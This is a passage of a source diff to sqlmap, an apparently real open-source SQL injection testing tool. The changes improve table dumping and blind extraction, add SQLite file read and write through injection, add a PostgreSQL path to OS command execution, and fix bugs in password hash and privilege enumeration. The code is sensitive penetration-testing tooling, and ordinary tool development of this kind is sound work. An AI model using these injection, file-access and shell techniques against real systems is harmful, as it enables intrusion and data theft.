+= "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + try: + # None when the walk gave up mid-table: nothing is kept, so the + # standard dump below redoes it rather than showing a short table + result = keysetDumpTable(tbl, colList, int(count), keysetCursor) + + if result is not None: + entries, lengths = result + for column, columnEntries in entries.items(): + length = max(lengths[column], getConsoleLength(column)) + kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} + entriesCount = len(columnEntries) + keysetDone = bool(kb.data.dumpedTable) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if not keysetDone and (any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct): entries = [] query = None @@ -210,7 +277,7 @@ def dumpTable(self, foundData=None): for index in indexRange: row = [] for column in colList: - query = rootQuery.blind.query3 % (column, column, table, index) + query = rootQuery.blind.query3 % (column, column, prioritySortColumns(colList)[0], table, index) query = agent.whereQuery(query) value = inject.getValue(query, blind=False, time=False, dump=True) or "" row.append(value) @@ -241,7 +308,7 @@ def dumpTable(self, foundData=None): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SPANNER): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -271,7 +338,9 @@ def dumpTable(self, foundData=None): kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} for entry in entries: - if entry is None or len(entry) == 0: + # skip a missing/empty ROW container, but NOT an empty-string CELL value + # (single-column dumps yield bare strings; len("")==0 must not drop the row) + if entry is None or (isListLike(entry) and len(entry) == 0): continue if isinstance(entry, six.string_types): @@ -309,9 +378,32 @@ def dumpTable(self, foundData=None): count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # keyset (seek) pagination: forced with --keyset, automatic for large tables, off with --no-keyset + keysetCursor = resolveKeysetCursor(tbl, colList) if (not conf.noKeyset and isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS)) else None + lengths = {} entries = {} + # Attempted before the chain below so that a walk which gave up mid-table (None) can + # fall through to the standard OFFSET paths - a short table is worse than a slow one. + # An interrupted walk keeps the chain out of a re-dump by claiming the branch itself. + keysetResult = None + + if keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + try: + keysetResult = keysetDumpTable(tbl, colList, count, keysetCursor) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + keysetResult = (entries, lengths) + if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) @@ -319,7 +411,7 @@ def dumpTable(self, foundData=None): logger.warning(warnMsg) for column in colList: - lengths[column] = len(column) + lengths[column] = getConsoleLength(column) entries[column] = [] elif not isNumPosStrValue(count): @@ -332,6 +424,9 @@ def dumpTable(self, foundData=None): continue + elif keysetResult is not None: + entries, lengths = keysetResult + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): table = tbl @@ -350,7 +445,7 @@ def dumpTable(self, foundData=None): for index in indexRange: for column in colList: - query = rootQuery.blind.query3 % (column, column, table, index) + query = rootQuery.blind.query3 % (column, column, prioritySortColumns(colList)[0], table, index) query = agent.whereQuery(query) value = inject.getValue(query, union=False, error=False, dump=True) or "" @@ -361,7 +456,7 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: @@ -399,41 +494,80 @@ def dumpTable(self, foundData=None): debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) + def cellQuery(column, index): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.HANA, DBMS.CUBRID): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0], index) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), prioritySortColumns(colList)[0], conf.db, tbl, index) + elif Backend.isDbms(DBMS.DB2): + query = rootQuery.blind.query % (prioritySortColumns(colList)[0], agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.isDbms(DBMS.ORACLE): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL, DBMS.DERBY, DBMS.ALTIBASE): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) + elif Backend.isDbms(DBMS.SQLITE): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) + elif Backend.isDbms(DBMS.EXTREMEDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, prioritySortColumns(colList)[0], index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl, prioritySortColumns(colList)[0]) + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO, DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + + return agent.whereQuery(query) + try: - for index in indexRange: + # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there + # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a + # value's characters across threads) and the per-column Huffman model + low-cardinality + # guessing engage under concurrency. Used for the boolean channel with '--threads', and + # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and + # deterministic). Also used under '--eta' - including single-threaded time-based, the + # slowest channel - to drive one whole-job progress bar/ETA (how long the dump takes) + # instead of a per-cell counter. Eligibility (channel x threads/eta) is valueParallelEligible(); + # '--dns-domain' keeps the classic loop (its OOB fast path bypasses bisection). + if not conf.dnsDomain and inject.valueParallelEligible(): + # One value-parallel pass over every (non-empty) cell, so there is a single + # thread pool and values stream live as they complete - out of order, exactly + # like the error/union dumps - instead of a silent progress counter. + nonEmpty = [_ for _ in colList if _ not in emptyColumns] + tasks = [(column, index) for column in nonEmpty for index in indexRange] + retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else [] + retrieved = retrieved if retrieved is not None else [None] * len(tasks) + + offset = 0 for column in colList: - value = "" - - if column not in lengths: - lengths[column] = 0 - - if column not in entries: - entries[column] = BigArray() - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) - elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) - elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) - elif Backend.isDbms(DBMS.FRONTBASE): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + entries[column] = BigArray() + lengths.setdefault(column, 0) + + if column in emptyColumns: + values = [NULL] * len(indexRange) else: - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + values = retrieved[offset:offset + len(indexRange)] + offset += len(indexRange) - query = agent.whereQuery(query) + for value in values: + value = '' if value is None else value + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + else: + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 - value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) - value = '' if value is None else value + if column not in entries: + entries[column] = BigArray() - lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) - entries[column].append(value) + value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True) + value = '' if value is None else value + + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True @@ -442,7 +576,7 @@ def dumpTable(self, foundData=None): logger.warning(warnMsg) for column, columnEntries in entries.items(): - length = max(lengths[column], len(column)) + length = max(lengths[column], getConsoleLength(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} @@ -478,6 +612,7 @@ def dumpTable(self, foundData=None): finally: kb.dumpColumns = None kb.dumpTable = None + conf.binaryFields = binaryFields # restore user-provided value (drop this table's auto-detected ones) def dumpAll(self): if conf.db is not None and conf.tbl is None: diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index df7fb110389..3898895aba2 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -48,12 +48,17 @@ def __init__(self): self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): + lengthQuery = None + if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid + elif Backend.isDbms(DBMS.SQLITE): + lengthQuery = "LENGTH(readfile('%s'))" % remoteFile + elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) @@ -70,6 +75,9 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) sameFile = True + elif lengthQuery is None: + logger.info("length of the %s file '%s' cannot be checked on %s" % ("read" if fileRead else "written", remoteFile, Backend.getDbms())) + sameFile = True else: logger.debug("checking the length of the remote file '%s'" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -208,6 +216,11 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) + def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + errMsg = "'nonStackedWriteFile' method must be defined " + errMsg += "into the specific DBMS plugin" + raise SqlmapUndefinedMethod(errMsg) + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" @@ -229,7 +242,7 @@ def readFile(self, remoteFile): logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL): + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2) or Backend.isDbms(DBMS.SQLITE): debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) @@ -302,6 +315,13 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): debugMsg += "stacked query technique" logger.debug(debugMsg) + written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) + self.cleanup(onlyFileTbl=True) + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "large object technique through a gadget" + logger.debug(debugMsg) + written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): @@ -316,6 +336,12 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): logger.debug(debugMsg) written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) + elif Backend.isDbms(DBMS.SQLITE): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "'writefile' function" + logger.debug(debugMsg) + + written = self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 5ec72f18ff2..61c9ff6cd10 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -135,8 +135,9 @@ def searchDb(self): query = agent.limitQuery(index, query, dbCond) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - value = safeSQLIdentificatorNaming(value) - foundDbs.append(value) + if not isNoneValue(value): # guard (mirrors searchTable) so a failed retrieval can't push a None/garbage name + value = safeSQLIdentificatorNaming(value) + foundDbs.append(value) conf.dumper.lister("found databases", foundDbs) @@ -535,7 +536,10 @@ def searchColumn(self): origDb = conf.db origTbl = conf.tbl - for column, dbData in foundCols.items(): + # Note: only the current column - foundCols also holds columns from earlier + # colList iterations, and re-walking them here re-issued their table lookups + # (O(n^2) blind requests) and duplicated their found tables + for column, dbData in ((column, foundCols[column]),): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 5da7b985298..1202771fdbc 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -26,18 +26,21 @@ def _escape(expression, quote=True, escaper=None): retVal = expression if quote: - for item in re.findall(r"'[^']*'+", expression): - original = item[1:-1] - if original: + # Match a full SQL string literal, honouring the '' (doubled single quote) escape - e.g. + # 'a''b' is ONE literal whose value is a'b, not 'a'' followed by a dangling b'. The old + # r"'[^']*'+" split on the inner '' and left the tail bare, corrupting the encoded payload. + for item in re.findall(r"'(?:[^']|'')*'", expression): + value = item[1:-1].replace("''", "'") # inner content with '' collapsed to the real quote + if value: if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: continue - if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original + if re.search(r"\[(SLEEPTIME|RAND)", value) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(value) if not conf.noEscape else value - if replacement != original: + if replacement != value: retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + elif len(value) != len(getBytes(value)) and "n%s" % item not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace(item, "n%s" % item) else: retVal = escaper(expression) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index eda399e614c..3af9188fe93 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -27,6 +27,7 @@ from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.request import inject from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit @@ -46,6 +47,8 @@ def __init__(self): def osCmd(self): if isStackingAvailable() or conf.direct: web = False + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) @@ -68,6 +71,8 @@ def osCmd(self): def osShell(self): if isStackingAvailable() or conf.direct: web = False + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) @@ -153,7 +158,7 @@ def osPwn(self): if os.path.exists(filename): try: with openFile(filename, "wb") as f: - f.write("1") + f.write(b"1") except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index ccd1b7747e4..1a602569595 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -204,8 +204,8 @@ def getPasswordHashes(self): condition = rootQuery.inband.condition if conf.user: - query += " WHERE " - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + query += " %s (%s)" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", userCondition) if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True @@ -327,7 +327,7 @@ def getPasswordHashes(self): elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): query = rootQuery.blind.query % (user,) - elif Backend.isDbms(DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.FRONTBASE): query = rootQuery.blind.query % (index, user) else: @@ -405,7 +405,7 @@ def getPrivileges(self, query2=False): # Set containing the list of DBMS administrators areAdmins = set() - if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if not kb.data.cachedUsersPrivileges and (any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct): if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 @@ -417,12 +417,12 @@ def getPrivileges(self, query2=False): condition = rootQuery.inband.condition if conf.user: - query += " WHERE " - if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + + query += " %s (%s)" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", userCondition) values = inject.getValue(query, blind=False, time=False) @@ -457,7 +457,7 @@ def getPrivileges(self, query2=False): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -594,7 +594,7 @@ def getPrivileges(self, query2=False): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -627,17 +627,18 @@ def getPrivileges(self, query2=False): elif Backend.isDbms(DBMS.DB2): privs = privilege.split(',') privilege = privs[0] - privs = privs[1] - privs = list(privs.strip()) - i = 1 + if len(privs) > 1: # guard a comma-less privilege value (mirrors the inband path) + privs = privs[1] + privs = list(privs.strip()) + i = 1 - for priv in privs: - if priv.upper() in ('Y', 'G'): - for position, db2Priv in DB2_PRIVS.items(): - if position == i: - privilege += ", " + db2Priv + for priv in privs: + if priv.upper() in ('Y', 'G'): + for position, db2Priv in DB2_PRIVS.items(): + if position == i: + privilege += ", " + db2Priv - i += 1 + i += 1 privileges.add(privilege) @@ -648,13 +649,16 @@ def getPrivileges(self, query2=False): break if privileges: - kb.data.cachedUsersPrivileges[user] = list(privileges) + # Note: 'user' may be a LIKE-wrapped form (e.g. '%root%') built for the MySQL + # query above; key/record under the real name so the output isn't mislabelled + # (and the retrievedUsers de-dup check, which compares the unwrapped name, works) + kb.data.cachedUsersPrivileges[outuser] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser logger.warning(warnMsg) - retrievedUsers.add(user) + retrievedUsers.add(outuser) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " @@ -668,8 +672,8 @@ def getPrivileges(self, query2=False): return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): - warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() - warnMsg += "exist. sqlmap will enumerate privileges instead" + warnMsg = "enumeration of roles is not supported on %s; " % Backend.getIdentifiedDbms() + warnMsg += "sqlmap will enumerate privileges instead" logger.warning(warnMsg) return self.getPrivileges(query2) diff --git a/sqlmap.conf b/sqlmap.conf index e56184d06af..ed2c2c076f4 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -32,6 +32,10 @@ requestFile = # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = +# Load session from a stored (.sqlite) file +# Example: output/www.target.com/session.sqlite +sessionFile = + # These options can be used to specify how to connect to the target URL. [Request] @@ -240,10 +244,6 @@ evalCode = # Valid: True or False optimize = False -# Predict common queries output. -# Valid: True or False -predictOutput = False - # Use persistent HTTP(s) connections. keepAlive = False @@ -606,7 +606,7 @@ sqlFile = # These options can be used to run brute force checks. -[Brute force] +[Brute] # Check existence of common tables. # Valid: True or False @@ -720,10 +720,6 @@ regType = # These options can be used to set some general working parameters. [General] -# Load session from a stored (.sqlite) file -# Example: output/www.target.com/session.sqlite -sessionFile = - # Log all HTTP traffic into a textual file. trafficFile = @@ -861,10 +857,6 @@ alert = # Valid: True or False beep = False -# Offline WAF/IPS payload detection testing. -# Valid: True or False -checkPayload = False - # Check for missing (optional) sqlmap dependencies. # Valid: True or False dependencies = False diff --git a/sqlmap.py b/sqlmap.py index 5e93ef2c83d..feacbc82cb9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -8,10 +8,24 @@ from __future__ import print_function try: + import os import sys sys.dont_write_bytecode = True + # Reference: https://github.com/python/cpython/issues/156319 - CPython's tier-2 optimizer can + # corrupt frame locals (raising exceptions the executed code cannot produce), but only when the + # experimental JIT is on AND a sys.monitoring tool (debugger/profiler/coverage run) is active at + # the same time - neither alone triggers it. So only silence monitoring when the JIT is also on; + # otherwise leave it alone (e.g. a legitimate `coverage run sqlmap.py ...` must keep working). + if hasattr(sys, "monitoring") and (sys._jit.is_enabled() if hasattr(sys, "_jit") else (sys.version_info >= (3, 13) and os.environ.get("PYTHON_JIT") == '1')): + for _ in range(6): # valid tool id range (Reference: https://docs.python.org/3/library/sys.monitoring.html) + try: + if sys.monitoring.get_tool(_) is not None: + sys.monitoring.set_events(_, sys.monitoring.events.NO_EVENTS) + except Exception: + pass + try: __import__("lib.utils.versioncheck") # this has to be the first non-standard import except ImportError: @@ -32,14 +46,18 @@ import traceback import warnings + try: + ResourceWarning + except NameError: + ResourceWarning = Warning + if "--deprecations" not in sys.argv: warnings.filterwarnings(action="ignore", category=DeprecationWarning) else: warnings.resetwarnings() warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) warnings.simplefilter("ignore", category=ImportWarning) - if sys.version_info >= (3, 0): - warnings.simplefilter("ignore", category=ResourceWarning) + warnings.simplefilter("ignore", category=ResourceWarning) warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) @@ -51,7 +69,7 @@ from lib.core.common import banner from lib.core.common import checkPipedInput - from lib.core.common import checkSums + from lib.core.common import codeIsModified from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import extractRegexResult @@ -130,6 +148,22 @@ def checkEnvironment(): logger.critical(errMsg) raise SystemExit + # Check for being run from inside a third-party repackage bundling sqlmap for resale + _ = modulePath() + repackaged = "sqlbox" in _.lower() + while not repackaged and os.path.dirname(_) != _: + if os.path.basename(_) == "XDATA" and all(os.path.isdir(os.path.join(_, __)) for __ in ("_tools", "_DB")): + repackaged = True + _ = os.path.dirname(_) + + if repackaged: + errMsg = "this sqlmap instance appears to be running from inside a third-party " + errMsg += "repackage. sqlmap is free and open source under the GPL (https://sqlmap.org). " + errMsg += "embedding it into proprietary or paid software requires a separate commercial " + errMsg += "license (sales@sqlmap.org)" + logger.critical(errMsg) + raise SystemExit + # Patch for pip (import) environment if "sqlmap.sqlmap" in sys.modules: for _ in ("cmdLineOptions", "conf", "kb"): @@ -176,6 +210,10 @@ def main(): init() + if conf.get("reportJson"): + from lib.utils.api import setupReportCollector + conf.reportCollector = setupReportCollector() + if not conf.updateAll: # Postponed imports (faster start) if conf.smokeTest: @@ -184,11 +222,19 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.fpTest: + from lib.core.testing import fpTest + os._exitcode = 1 - (fpTest() or 0) + elif conf.payloadLint: + from lib.core.testing import payloadLintTest + os._exitcode = 1 - (payloadLintTest() or 0) + elif conf.apiTest: + from lib.core.testing import apiTest + os._exitcode = 1 - (apiTest() or 0) else: from lib.controller.controller import start if conf.profile: from lib.core.profiling import profile - globals()["start"] = start profile() else: try: @@ -268,7 +314,7 @@ def main(): print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() - valid = checkSums() + valid = not codeIsModified() os._exitcode = 255 @@ -384,7 +430,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "AttributeError:" in excMsg and re.search(r"3\.11\.\d+a", sys.version): + elif any(_ in excMsg for _ in ("AttributeError:", "TypeError:")) and re.search(r"3\.11\.\d+a", sys.version): errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " errMsg += "Please download a stable Python version" logger.critical(errMsg) @@ -415,11 +461,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("ntlm", 